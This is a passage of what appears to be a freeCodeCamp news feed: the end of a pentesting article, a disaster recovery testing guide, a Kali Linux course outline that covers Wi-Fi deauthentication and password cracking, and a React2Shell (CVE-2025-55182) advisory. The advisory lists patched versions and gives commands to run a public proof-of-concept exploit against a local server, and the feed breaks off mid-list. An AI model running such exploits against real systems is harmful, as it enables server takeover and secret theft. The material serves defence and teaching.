<p>In 2026, cybersecurity testing is more sophisticated and essential than ever. Organizations must balance speed, depth, cost, and context when selecting between penetration testing services and automated platforms. While one is not inherently better than the other in all cases, understanding their differences and complementary strengths will help you build a robust security posture.</p>
<p>Automated platforms catch the routine and repetitive, giving continuous visibility into known risks. Human-led services uncover the hidden and unexpected, thinking beyond patterns to simulate real adversaries. For most teams, the future of testing lies in a hybrid approach that leverages both.</p>
<p>By aligning your security goals with the right mix of services and tools, you can stay ahead of threats now and in the years to come.</p>
<p><em>Hope you enjoyed this article. Learn more about me by</em> <a href="https://manishmshiva.me"><em><strong>visiting my website</strong></em></a><em>.</em></p>
 ]]>
                </content:encoded>
            </item>
        
            <item>
                <title>
                    <![CDATA[ What is Disaster Recovery Testing? Explained with Practical Examples ]]>
                </title>
                <description>
                    <![CDATA[ Most teams are confident they can recover from a major outage until they actually have to. Backups exist, architectures are redundant and a recovery plan is documented somewhere, yet real incidents of ]]>
                </description>
                <link>https://www.freecodecamp.org/news/disaster-recovery-testing/</link>
                <guid isPermaLink="false">69a5614ffc6453a5f17ca809</guid>
                
                    <category>
                        <![CDATA[ Testing ]]>
                    </category>
                
                    <category>
                        <![CDATA[ cybersecurity ]]>
                    </category>
                
                    <category>
                        <![CDATA[ Databases ]]>
                    </category>
                
                    <category>
                        <![CDATA[ Security ]]>
                    </category>
                
                <dc:creator>
                    <![CDATA[ Alex Tray ]]>
                </dc:creator>
                <pubDate>Mon, 02 Mar 2026 10:07:11 +0000</pubDate>
                <media:content url="https://cdn.hashnode.com/uploads/covers/5fc16e412cae9c5b190b6cdd/57c1e51b-867c-444e-90f0-e6551284fe0a.png" medium="image" />
                <content:encoded>
                    <![CDATA[ <p>Most teams are confident they can recover from a major outage until they actually have to. Backups exist, architectures are redundant and a recovery plan is documented somewhere, yet real incidents often reveal critical gaps.</p>
<p>Disaster recovery testing is what separates assumed resilience from proven recovery, but it’s still skipped, rushed or treated as a checkbox exercise. For developers and technical teams, that gap can turn a manageable failure into a prolonged outage.</p>
<h2 id="heading-table-of-contents">Table of Contents</h2>
<ul>
<li><p><a href="#heading-what-is-disaster-recovery-testing">What is Disaster Recovery Testing?</a></p>
</li>
<li><p><a href="#heading-how-disaster-recovery-testing-works-in-practice">How Disaster Recovery Testing Works in Practice</a></p>
</li>
<li><p><a href="#heading-disaster-recovery-testing-methods-developers-should-know">Disaster Recovery Testing Methods Developers Should Know</a></p>
</li>
<li><p><a href="#heading-what-technology-disaster-recovery-testing-evaluates">What Technology Disaster Recovery Testing Evaluates</a></p>
</li>
<li><p><a href="#heading-how-to-test-a-disaster-recovery-plan">How to Test a Disaster Recovery Plan</a></p>
</li>
<li><p><a href="#heading-disaster-recovery-test-scenarios-practical-examples">Disaster Recovery Test Scenarios: Practical Examples</a></p>
</li>
<li><p><a href="#heading-disaster-recovery-test-report-turning-tests-into-improvements">Disaster Recovery Test Report: Turning Tests Into Improvements</a></p>
</li>
<li><p><a href="#heading-disaster-recovery-audits-and-continuous-validation">Disaster Recovery Audits and Continuous Validation</a></p>
</li>
<li><p><a href="#heading-conclusion">Conclusion</a></p>
</li>
</ul>
<h2 id="heading-what-is-disaster-recovery-testing"><strong>What is Disaster Recovery Testing?</strong></h2>
<p>Disaster recovery (DR) testing is the process of validating that systems, data and applications can be restored after a disruptive event within defined recovery objectives. It generally evaluates:</p>
<ul>
<li><p><strong>Recovery Time Objective (RTO)</strong>: How quickly systems must be restored.</p>
</li>
<li><p><strong>Recovery Point Objective (RPO)</strong>: How much data loss is acceptable.</p>
</li>
<li><p><strong>Operational readiness</strong>: Whether teams know what to do during an incident.</p>
</li>
</ul>
<p>A disaster recovery test plan documents how these elements are tested, who is responsible and what success looks like. Without testing, DR plans are assumptions, not guarantees.</p>
<h2 id="heading-how-disaster-recovery-testing-works-in-practice"><strong>How Disaster Recovery Testing Works in Practice</strong></h2>
<p>In real environments, disaster recovery testing is used to check all <a href="https://www.nakivo.com/blog/components-disaster-recovery-plan-checklist/">elements of the disaster recovery plan</a> and is rarely a single event. It’s a structured exercise that simulates failure, observes system behavior and measures outcomes against expectations.</p>
<p>A typical DR test involves:</p>
<ol>
<li><p><strong>Defining scope</strong> – Which applications, services, or data sets are included.</p>
</li>
<li><p><strong>Selecting a scenario</strong> – Outage, corruption, ransomware, region failure, and so on.</p>
</li>
<li><p><strong>Executing recovery actions</strong> – Restore data, fail over systems, reconfigure dependencies.</p>
</li>
<li><p><strong>Measuring results</strong> – Time to recovery, data consistency, service availability.</p>
</li>
<li><p><strong>Documenting findings</strong> – What worked, what failed, what needs improvement.</p>
</li>
</ol>
<p>For developers, the key shift is recognizing that DR testing isn’t just an ops exercise. Application architecture, data handling and deployment patterns all influence recovery outcomes.</p>
<p>Importantly, regulatory pressure is also reshaping how organizations approach recovery validation. Frameworks such as the <a href="https://heimdalsecurity.com/nis-2-directive">NIS2 Directive</a> require essential and important entities in the EU to implement robust cybersecurity risk management measures, including incident response and business continuity capabilities.</p>
<h2 id="heading-disaster-recovery-testing-methods-developers-should-know"><strong>Disaster Recovery Testing Methods Developers Should Know</strong></h2>
<p>Different testing methods provide different levels of confidence. Mature teams use more than one. Each method has a place, but relying only on low-impact testing creates blind spots that surface during real incidents.</p>
<h3 id="heading-checklist-testing"><strong>Checklist Testing</strong></h3>
<p>The simplest method: Teams review documented recovery steps without executing them. This helps validate documentation completeness but does not confirm real-world recoverability.</p>
<h3 id="heading-tabletop-exercises"><strong>Tabletop Exercises</strong></h3>
<p>Stakeholders walk through a simulated disaster scenario and discuss responses. Tabletop tests are useful for identifying communication gaps and unclear responsibilities, especially for cross-team coordination.</p>
<h3 id="heading-partial-or-component-testing"><strong>Partial or Component Testing</strong></h3>
<p>Specific systems, such as databases or backup restores, are tested in isolation. Developers often encounter this when validating recovery procedures for individual services or environments.</p>
<h3 id="heading-full-scale-testing"><strong>Full-scale Testing</strong></h3>
<p>This is the most comprehensive method. It involves actual failover or full recovery in production-like environments. While disruptive, full-scale tests provide the highest confidence.</p>
<h2 id="heading-what-technology-disaster-recovery-testing-evaluates"><strong>What Technology Disaster Recovery Testing Evaluates</strong></h2>
<p>Modern environments are complex, and disaster recovery testing must validate more than just data restores.</p>
<p>DR testing evaluates:</p>
<ul>
<li><p><strong>Backup integrity</strong> – Are backups usable, consistent and complete?</p>
</li>
<li><p><strong>Application dependencies</strong> – Do services come back in the correct order?</p>
</li>
<li><p><strong>Infrastructure recovery</strong> – Can compute, storage and networking be re-provisioned?</p>
</li>
<li><p><strong>Identity and access</strong> – Do credentials, secrets and permissions still function?</p>
</li>
<li><p><strong>Automation and scripts</strong> – Do recovery workflows still match current architectures?</p>
</li>
</ul>
<p>For developers, this often reveals hidden coupling between services, outdated scripts or environment-specific assumptions that were never documented.</p>
<h2 id="heading-how-to-test-a-disaster-recovery-plan"><strong>How to Test a Disaster Recovery Plan</strong></h2>
<p>Testing a disaster recovery plan doesn’t require shutting down production on day one. A practical, incremental approach works best.</p>
<ol>
<li><p><strong>Start with a single application</strong>: Pick a service with well-defined data and dependencies. Avoid starting with your most complex system.</p>
</li>
<li><p><strong>Validate backup restores</strong>: Restore data into a non-production environment and confirm application functionality, not just file presence.</p>
</li>
<li><p><strong>Measure RTO and RPO</strong>: Time the recovery process and compare results to stated objectives. At this stage, many teams can discover that their objectives were unrealistic.</p>
</li>
<li><p><strong>Test failure assumptions</strong>: Simulate real-world issues like missing credentials, expired certificates or partial data loss.</p>
</li>
<li><p><strong>Document gaps immediately</strong>: Update the disaster recovery test plan while findings are fresh. Untested fixes are just new assumptions.</p>
</li>
</ol>
<p>This approach makes disaster recovery testing part of standard processes rather than a once-a-year compliance task.</p>
<h3 id="heading-automating-restore-validation"><strong>Automating Restore Validation</strong></h3>
<p>One of the most common gaps in disaster recovery testing is stopping at “restore completed” instead of validating that the application actually works. A restored database that can’t serve queries or contains incomplete data doesn’t meet recovery objectives.</p>
<p>Teams can reduce this risk by automating post-restore validation. For example, after restoring a PostgreSQL database into a staging or isolated DR environment, a simple validation script can confirm connectivity and basic data integrity:</p>
<pre><code class="language-python">import psycopg2

import sys


def validate_restore():

&nbsp;&nbsp;&nbsp;&nbsp;try:

&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;conn = psycopg2.connect(

&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;host="restored-db.internal",

&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;database="appdb",

&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;user="dr_test_user",

&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;password="securepassword"

&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;)

&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;cur = conn.cursor()

&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;cur.execute("SELECT COUNT(*) FROM users;")

&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;result = cur.fetchone()



&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if result and result[0] &gt; 0:

&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;print("Restore validation successful.")

&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;else:

&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;print("Restore validation failed: No data found.")

&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;sys.exit(1)


&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;conn.close()

&nbsp;&nbsp;&nbsp;&nbsp;except Exception as e:

&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;print(f"Restore validation error: {e}")

&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;sys.exit(1)


validate_restore()
</code></pre>
<p>This script does three important things:</p>
<ul>
<li><p>Confirms the database is reachable</p>
</li>
<li><p>Executes a real query, not just a connection check</p>
</li>
<li><p>Fails explicitly if the expected data is missing</p>
</li>
</ul>
<p>In practice, teams can integrate scripts like this into CI/CD pipelines or scheduled recovery drills. The goal isn’t to test every edge case, but to move from “backup exists” to “restore is functionally verified.” Over time, these automated checks become part of the disaster recovery test plan, helping teams measure RTO accurately and detect configuration drift before a real incident exposes it.</p>
<h2 id="heading-disaster-recovery-test-scenarios-practical-examples"><strong>Disaster Recovery Test Scenarios: Practical Examples</strong></h2>
<p>Effective disaster recovery testing focuses on realistic failures, not idealized outages.</p>
<h3 id="heading-accidental-deletion-or-misconfiguration"><strong>Accidental Deletion or Misconfiguration</strong></h3>
<p>A dropped database table, deleted storage bucket or bad configuration change tests how quickly teams can restore specific data without rolling back entire systems. These everyday incidents often reveal slow or overly manual recovery processes.</p>
<h3 id="heading-data-corruption-and-application-failure"><strong>Data Corruption and Application Failure</strong></h3>
<p>Buggy releases can silently corrupt data while systems remain online. This scenario validates point-in-time recovery and whether teams can identify when corruption started, not just restore the latest backup.</p>
<h3 id="heading-ransomware-simulation"><strong>Ransomware Simulation</strong></h3>
<p>Ransomware testing checks whether clean, uncompromised backups can be restored in isolation. It often exposes gaps in backup immutability, credential handling and realistic recovery times.</p>
<h3 id="heading-infrastructure-or-platform-outage"><strong>Infrastructure or Platform Outage</strong></h3>
<p>Simulating the loss of a cluster, availability zone or region tests automation and infrastructure-as-code maturity. In virtualized environments, most commonly <a href="https://www.nakivo.com/vmware-disaster-recovery/">VMware disaster recovery</a>, testing involves restoring virtual machines at a secondary site and validating networking and application dependencies.</p>
<h3 id="heading-credential-and-access-failure"><strong>Credential and Access Failure</strong></h3>
<p>Recovery can stall if credentials, certificates or secret keys are unavailable. Testing this scenario validates identity systems and whether recovery procedures rely on fragile access assumptions.</p>
<h2 id="heading-disaster-recovery-test-report-turning-tests-into-improvements"><strong>Disaster Recovery Test Report: Turning Tests Into Improvements</strong></h2>
<p>Testing without documentation is wasted effort. A disaster recovery test report turns results into actionable improvements.</p>
<p>A valuable DR test report includes:</p>
<ul>
<li><p>Test scope and scenario</p>
</li>
<li><p>Expected vs. actual RTO/RPO</p>
</li>
<li><p>Recovery steps executed</p>
</li>
<li><p>Failures, delays and root causes</p>
</li>
<li><p>Recommended changes</p>
</li>
</ul>
<p>For developers, this often results in concrete action items: refactoring startup dependencies, adding health checks, improving automation or adjusting data protection policies. The report should feed directly into backlog planning.</p>
<h2 id="heading-disaster-recovery-audits-and-continuous-validation"><strong>Disaster Recovery Audits and Continuous Validation</strong></h2>
<p>Audits often expose what teams already suspect: Disaster recovery plans exist, but haven’t been tested recently (or at all).</p>
<p>Rather than treating audits as one-time events, teams should adopt continuous validation:</p>
<ul>
<li><p>Regular restore tests integrated into CI/CD pipelines.</p>
</li>
<li><p>Scheduled DR tests tied to major architecture changes.</p>
</li>
<li><p>Automated alerts when recovery objectives drift.</p>
</li>
</ul>
<p>This shifts disaster recovery testing from an annual obligation to an ongoing practice that evolves alongside the environment.</p>
<h2 id="heading-conclusion"><strong>Conclusion</strong></h2>
<p>Disaster recovery testing is not about pessimism, it’s about realism. Systems and people change, and failure modes evolve faster than documentation. Without testing, even the best-designed recovery plan can become outdated.</p>
<p>For developers and technical teams, practicing disaster recovery testing builds confidence rooted in evidence, not assumptions. It exposes hidden dependencies, validates data protection strategies and ensures that when something goes wrong, recovery is predictable instead of chaotic.</p>
 ]]>
                </content:encoded>
            </item>
        
            <item>
                <title>
                    <![CDATA[ Learn Cybersecurity and Ethical Hacking using Kali Linux ]]>
                </title>
                <description>
                    <![CDATA[ To protect your applications against threats, it’s helpful to understand the methods that attackers can use against you. We just posted a course on the freeCodeCamp.org YouTube channel that will help you master the fundamentals of cybersecurity and e... ]]>
                </description>
                <link>https://www.freecodecamp.org/news/learn-cybersecurity-and-ethical-hacking-using-kali-linux/</link>
                <guid isPermaLink="false">698ca68cf15922839824f638</guid>
                
                    <category>
                        <![CDATA[ Ethical Hacking ]]>
                    </category>
                
                    <category>
                        <![CDATA[ cybersecurity ]]>
                    </category>
                
                    <category>
                        <![CDATA[ youtube ]]>
                    </category>
                
                <dc:creator>
                    <![CDATA[ Beau Carnes ]]>
                </dc:creator>
                <pubDate>Wed, 11 Feb 2026 15:55:56 +0000</pubDate>
                <media:content url="https://cdn.hashnode.com/res/hashnode/image/upload/v1770825132682/2e29f195-76dc-4def-8931-fc86f409e131.jpeg" medium="image" />
                <content:encoded>
                    <![CDATA[ <p>To protect your applications against threats, it’s helpful to understand the methods that attackers can use against you.</p>
<p>We just posted a course on the freeCodeCamp.org YouTube channel that will help you master the fundamentals of cybersecurity and ethical hacking. This is a beginner-friendly, hands-on course using Kali Linux.</p>
<p>You’ll learn to identify, exploit, and defend against real-world vulnerabilities while building a solid foundation in penetration testing, network security, and vulnerability assessment. By mastering professional tools like Nmap and Wireshark, you will develop the practical skills and mindset needed to secure systems and think like an ethical hacker. This course was created by Sunny Dimalu The Cyborg.</p>
<p>Here are the sections in this course:</p>
<ul>
<li><p>Introduction</p>
</li>
<li><p>What is Kali Linux</p>
</li>
<li><p>Basic Commands &amp; Terminal Customization</p>
</li>
<li><p>ls Command</p>
</li>
<li><p>cd Command</p>
</li>
<li><p>Nano Editor</p>
</li>
<li><p>cat Command</p>
</li>
<li><p>Create Files Using cat</p>
</li>
<li><p>Create Directories</p>
</li>
<li><p>grep Command</p>
</li>
<li><p>wc Command</p>
</li>
<li><p>Output Redirection</p>
</li>
<li><p>Piping</p>
</li>
<li><p>Copy Files</p>
</li>
<li><p>Remove Files &amp; Directories</p>
</li>
<li><p>Types of Users</p>
</li>
<li><p>Root User</p>
</li>
<li><p>sudo Command (Administrative Tasks)</p>
</li>
<li><p>ip addr Command</p>
</li>
<li><p>Install Packages</p>
</li>
<li><p>Remove Packages</p>
</li>
<li><p>Introduction to Nmap</p>
</li>
<li><p>Scan Ports</p>
</li>
<li><p>Wi-Fi Security: System Requirements &amp; Wireless Card</p>
</li>
<li><p>Introduction to Aircrack-ng</p>
</li>
<li><p>Monitor Mode vs Managed Mode</p>
</li>
<li><p>Enable Monitor Mode</p>
</li>
<li><p>Scan Wi-Fi Networks &amp; Capture Traffic</p>
</li>
<li><p>Scan 5GHz Wi-Fi Networks (Theory)</p>
</li>
<li><p>Scan 5GHz Wi-Fi Networks (Practical)</p>
</li>
<li><p>What is a 4-Way Handshake</p>
</li>
<li><p>Capture a 4-Way Handshake</p>
</li>
<li><p>What is a De-authentication Attack</p>
</li>
<li><p>Capture 4-Way Handshake Using De-authentication Attack</p>
</li>
<li><p>Wordlists &amp; Dictionary Attacks</p>
</li>
<li><p>Crack / Recover Wi-Fi Password</p>
</li>
<li><p>Detect De-authentication Attacks /Threats</p>
</li>
<li><p>Wireshark Tutorial</p>
</li>
</ul>
<p>Watch the full course on <a target="_blank" href="https://youtu.be/ug8W0sFiVJo">the freeCodeCamp.org YouTube channel</a> (4-hour watch).</p>
<div class="embed-wrapper">
        <iframe width="560" height="315" src="https://www.youtube.com/embed/ug8W0sFiVJo" style="aspect-ratio: 16 / 9; width: 100%; height: auto;" title="YouTube video player" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share" referrerpolicy="strict-origin-when-cross-origin" allowfullscreen="" loading="lazy"></iframe></div>
 ]]>
                </content:encoded>
            </item>
        
            <item>
                <title>
                    <![CDATA[ React’s Critical "React2Shell" Vulnerability — What You Should Know, and How to Upgrade Your App ]]>
                </title>
                <description>
                    <![CDATA[ Web development is always evolving, and sometimes those changes happen a bit under the hood. One such change involved the shift to React Server Components (RSC). If you’re a NextJS or React developer, especially using the App Router, understanding th... ]]>
                </description>
                <link>https://www.freecodecamp.org/news/reacts-critical-react2shell-vulnerability-what-you-should-know-and-how-to-upgrade-your-app/</link>
                <guid isPermaLink="false">6939b6ee10076c81dd6c3f49</guid>
                
                    <category>
                        <![CDATA[ React2Shell ]]>
                    </category>
                
                    <category>
                        <![CDATA[ React ]]>
                    </category>
                
                    <category>
                        <![CDATA[ Next.js ]]>
                    </category>
                
                    <category>
                        <![CDATA[ hacking ]]>
                    </category>
                
                    <category>
                        <![CDATA[ cybersecurity ]]>
                    </category>
                
                <dc:creator>
                    <![CDATA[ Arunachalam B ]]>
                </dc:creator>
                <pubDate>Wed, 10 Dec 2025 18:07:42 +0000</pubDate>
                <media:content url="https://cdn.hashnode.com/res/hashnode/image/upload/v1765328805925/a9c016a1-90a9-4123-bbb0-17c7d46da035.png" medium="image" />
                <content:encoded>
                    <![CDATA[ <p>Web development is always evolving, and sometimes those changes happen a bit under the hood. One such change involved the shift to React Server Components (RSC). If you’re a NextJS or React developer, especially using the App Router, understanding the new security alert is really important for keeping your apps safe and secure.</p>
<h2 id="heading-table-of-contents">Table of Contents</h2>
<ul>
<li><p><a class="post-section-overview" href="#heading-what-is-react2shell">What is "React2Shell"?</a></p>
</li>
<li><p><a class="post-section-overview" href="#heading-why-is-this-happening-now">Why is this Happening Now?</a></p>
</li>
<li><p><a class="post-section-overview" href="#heading-should-you-worry-about-this-change">Should You Worry About this Change?</a></p>
</li>
<li><p><a class="post-section-overview" href="#heading-is-this-mandatory">Is this Mandatory?</a></p>
</li>
<li><p><a class="post-section-overview" href="#heading-how-bad-can-it-get-the-extent-of-exploitation">How Bad Can It Get? The Extent of Exploitation</a></p>
</li>
<li><p><a class="post-section-overview" href="#heading-what-would-be-the-code-change-for-this">What Would be the Code Change for This?</a></p>
</li>
<li><p><a class="post-section-overview" href="#heading-advanced-verify-with-the-original-exploit-poc">Advanced: Verify with the Original Exploit (PoC)</a></p>
</li>
<li><p><a class="post-section-overview" href="#heading-emergency-response-what-if-you-were-already-compromised">Emergency Response: What If You Were Already Compromised?</a></p>
</li>
<li><p><a class="post-section-overview" href="#heading-conclusion">Conclusion</a></p>
</li>
</ul>
<h2 id="heading-what-is-react2shell">What is "React2Shell"?</h2>
<p>Think of your server receiving data like a mailroom receiving packages.</p>
<p>Usually, a mailroom checks if a package is safe before opening it. But in vulnerable versions of React and NextJS, the "Flight" protocol (used to communicate between the server and client) acts like a mailroom that blindly opens every package and follows any instructions inside immediately.</p>
<p>This vulnerability (CVE-2025-55182) allows an attacker to send a specifically crafted "package" (HTTP request) that forces your server to execute malicious code – like stealing passwords or installing viruses –without even logging in.</p>
<h2 id="heading-why-is-this-happening-now">Why is this Happening Now?</h2>
<p>It's all about how modern frameworks handle data serialization. There are a few reasons why this was just discovered.</p>
<p>First, React has complex serialization. To make Server Components seamless, React sends complex data structures back and forth.</p>
<p>Second, it has the "Flight" protocol. The vulnerability was found in how this specific protocol de-serializes (unpacks) data. It was too trusting of the input it received from the client side.</p>
<h2 id="heading-should-you-worry-about-this-change">Should You Worry About this Change?</h2>
<p>You need to pay attention if your app qualifies for any of the below:</p>
<ul>
<li><p><strong>You are using NextJS App Router:</strong> This is the default in newer NextJS versions (v13+).</p>
</li>
<li><p><strong>You are using React 19:</strong> Specifically versions with Server Components enabled.</p>
</li>
<li><p><strong>You use Server Actions:</strong> If your app takes user input and processes it on the server using React's server actions.</p>
</li>
</ul>
<h2 id="heading-is-this-mandatory">Is this Mandatory?</h2>
<p><strong>Yes.</strong> This is a critical security update. If your app qualifies in any of the above scenarios, you need to act immediately. Because, this vulnerability is being exploited right now.</p>
<h2 id="heading-how-bad-can-it-get-the-extent-of-exploitation">How Bad Can It Get? The Extent of Exploitation</h2>
<p>You might be thinking, "My site is just a simple content wrapper, surely I'm not a target?" Unfortunately, with Remote Code Execution (RCE), the attacker doesn't just "break" your site – they own the server it runs on.</p>
<p>Here is exactly what a hacker can do once they exploit this vulnerability:</p>
<h3 id="heading-total-environment-theft">Total Environment Theft</h3>
<p>The most immediate risk is your <code>.env</code> file. Attackers can execute code to read your environment variables, instantly gaining access to your AWS Secret Keys, Database passwords, Stripe API keys, and OpenAI tokens.</p>
<h3 id="heading-the-shell-access">The "Shell" Access</h3>
<p>As the name "React2Shell" implies, attackers can open a reverse shell. This gives them a command-line interface on your server, allowing them to browse your file system as if they were sitting in front of your computer.</p>
<h3 id="heading-lateral-movement">Lateral Movement</h3>
<p>Once inside your NodeJS server, they are behind your firewall. They can now attack your internal services (like Redis, internal databases, or private micro-services) that are usually blocked from the outside world.</p>
<h3 id="heading-supply-chain-poisoning">Supply Chain Poisoning</h3>
<p>If your build server is vulnerable, an attacker could potentially inject malicious code into your deployment pipeline, affecting every user who visits your site in the future.</p>
<h3 id="heading-botnet-recruitment">Botnet Recruitment</h3>
<p>Hackers often automate these attacks to install crypto-miners, using your server's CPU (which you pay for!) to mine digital currency for them, often crashing your application in the process.</p>
<h2 id="heading-what-would-be-the-code-change-for-this">What Would be the Code Change for This?</h2>
<p>You don’t need to rewrite your application code, but you must update your dependencies in your release line.</p>
<p>The vulnerability is fully resolved in the following patched NextJS releases:</p>
<ul>
<li><p>15.0.5</p>
</li>
<li><p>15.1.9</p>
</li>
<li><p>15.2.6</p>
</li>
<li><p>15.3.6</p>
</li>
<li><p>15.4.8</p>
</li>
<li><p>15.5.7</p>
</li>
<li><p>16.0.7</p>
</li>
</ul>
<p>Patched canary releases for NextJS 15 and 16:</p>
<ul>
<li><p>15.6.0-canary.58 (for 15.x canary releases)</p>
</li>
<li><p>16.1.0-canary.12 (for 16.x canary releases)</p>
</li>
</ul>
<p>These versions include the hardened React Server Components implementation.</p>
<p>Here are the patched versions for React JS:</p>
<ul>
<li><p>19.0.1</p>
</li>
<li><p>19.1.2</p>
</li>
<li><p>19.2.1</p>
</li>
</ul>
<p>Frameworks and bundlers using the aforementioned packages should install the latest versions provided by their respective maintainers.</p>
<p>Alternatively, you can run <code>npx fix-react2shell-next</code> in your NextJS project to launch an interactive tool which can check versions and perform deterministic version bumps per the recommended versions above. See the <a target="_blank" href="https://github.com/vercel-labs/fix-react2shell-next">GitHub repository</a> for full details.</p>
<p><strong>There is no workaround other than upgrading to a patched version.</strong></p>
<p>It’s highly recommended to rotate all your application secrets, once you have patched your version and re-deployed your application.</p>
<h2 id="heading-advanced-verify-with-the-original-exploit-poc">Advanced: Verify with the Original Exploit (PoC)</h2>
<p>If you want to be 100% sure your patch is working, or if you want to understand how the attack actually works, you can use the original Proof of Concept (PoC) created by the security researcher (Lachlan Davidson) who found the bug.</p>
<p><strong>Repository:</strong> <a target="_blank" href="https://github.com/lachlan2k/React2Shell-CVE-2025-55182-original-poc">React2Shell-CVE-2025-55182-original-poc</a></p>
<p>Lachlan provided three variations of the exploit script. The most important one for testing is <code>01-submitted-poc.js</code>, which is the exact, simplified version submitted to Meta for the bug bounty.</p>
<h3 id="heading-how-the-exploit-works">How the Exploit Works</h3>
<p>According to the repository, the attack works by tricking the parser:</p>
<ol>
<li><p>The attacker sends a payload using <code>$@x</code> to access a specific data <code>Chunk</code>.</p>
</li>
<li><p>They "plant" a <code>.then</code> function on a fake object.</p>
</li>
<li><p>The JavaScript runtime thinks it is handling a Promise and tries to "unravel" it.</p>
</li>
<li><p>This allows the attacker to re-enter the parser with a malicious fake chunk, giving them access to internal server gadgets (like <code>_response</code>) to execute code (RCE).</p>
</li>
</ol>
<h3 id="heading-steps-to-recreate-the-issue">Steps to Recreate the Issue</h3>
<p><strong>⚠️ WARNING:</strong> Only run this against a local development server (<a target="_blank" href="http://localhost"><code>localhost</code></a>) that you own. Never run this against production servers or public websites.</p>
<p><strong>Note:</strong> I forked Lachlan’s repo and made minor changes to make it easy for you to run the script.</p>
<h4 id="heading-step-1-clone-the-repository">Step 1: Clone the Repository</h4>
<p>Run the following commands to clone the repository, navigate into the project, and install dependencies:</p>
<pre><code class="lang-bash">git <span class="hljs-built_in">clone</span> https://github.com/arunachalam-b/React2Shell-CVE-2025-55182-original-poc.git
<span class="hljs-built_in">cd</span> React2Shell-CVE-2025-55182-original-poc
npm i
</code></pre>
<h4 id="heading-step-2-run-a-vulnerable-local-server">Step 2: Run a Vulnerable Local Server</h4>
<p>Start your NextJS application locally (ensure it’s running a vulnerable version, for example NextJS 15.0.0, for the test to succeed).</p>
<pre><code class="lang-bash">npm run dev
<span class="hljs-comment"># usually runs on http://localhost:3000</span>
</code></pre>
<h4 id="heading-step-3-execute-the-test">Step 3: Execute the Test</h4>
<p>You will need to modify the script or use a tool like <code>curl</code> to send the payload structure found in <code>01-submitted-poc.js</code> to your server's endpoint (usually a Server Action endpoint). Or simply run the following command if your app is accessible at <code>http://localhost:3000</code>:</p>
<pre><code class="lang-bash">node 01-submitted-poc.js
</code></pre>
<p>If the exploit succeeds (on the vulnerable version), the console will log the execution of the code (RCE). If the exploit fails (after you patch), the server will either reject the request or error out safely.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1765298324009/7a8158bb-30cc-4604-9591-4503a4c8d655.png" alt="This response on running the script indicates your server is vulnerable" class="image--center mx-auto" width="600" height="400" loading="lazy"></p>
<p>You can also confirm if your infected web server prints <code>50</code> in the console. Because we inject the code to do a calculation (look at <code>_prefix</code> field in the below JSON) that results in <code>50</code>.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1765298178869/417d5f3c-15d2-4806-854c-f4216d336bd9.png" alt="The payload used to demonstrate this hack" class="image--center mx-auto" width="600" height="400" loading="lazy"></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1765298285565/38bcbcfa-390f-4198-9db1-218d2ed0dd65.png" alt="The 50 in your NextJS console indicates the hackers code has been executed on your server" class="image--center mx-auto" width="600" height="400" loading="lazy"></p>
<p>After you apply the fix, you should see an error while running the script. In this case, as I’m using NextJS v15.1, the fix is upgrading the <code>next</code> package to version <code>15.1.9</code>. Here are the screenshots after upgrading the package and running the script.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1765298558607/36103fd0-2a23-44f5-bff6-f979255a9765.png" alt="Response on running script after applying the fix" class="image--center mx-auto" width="600" height="400" loading="lazy"></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1765298580698/53bcd836-013a-4291-98df-2d9188512a2c.png" alt="The console does not print 50 while running same script which indicates the hackers code is not executed on your server after applying the fix" class="image--center mx-auto" width="600" height="400" loading="lazy"></p>
<h4 id="heading-step-4-verification">Step 4: Verification</h4>
<p>Once you have confirmed the exploit works on the old version, update your packages (as shown in the section above) and run the script again. It should no longer trigger the code execution.</p>
<h2 id="heading-emergency-response-what-if-you-were-already-compromised">Emergency Response: What If You Were Already Compromised?</h2>
<p>If you suspect your server was exposed to the internet with a vulnerable version, assume the worst. A hacker may have already stolen your keys or left a "backdoor" to return later. Patching the code alone is NOT enough in this case.</p>
<p>Follow this <strong>"Nuke and Pave"</strong> protocol immediately:</p>
<h3 id="heading-step-1-isolate-and-shutdown">Step 1: Isolate and Shutdown</h3>
<p>Take the compromised server offline immediately. Do not try to "fix" it while it is running.</p>
<h3 id="heading-step-2-rotate-all-secrets-crucial-step">Step 2: Rotate ALL Secrets (Crucial Step)</h3>
<p>Assume every secret in your <code>.env</code> file is in the hands of a hacker. You must generate new ones:</p>
<ul>
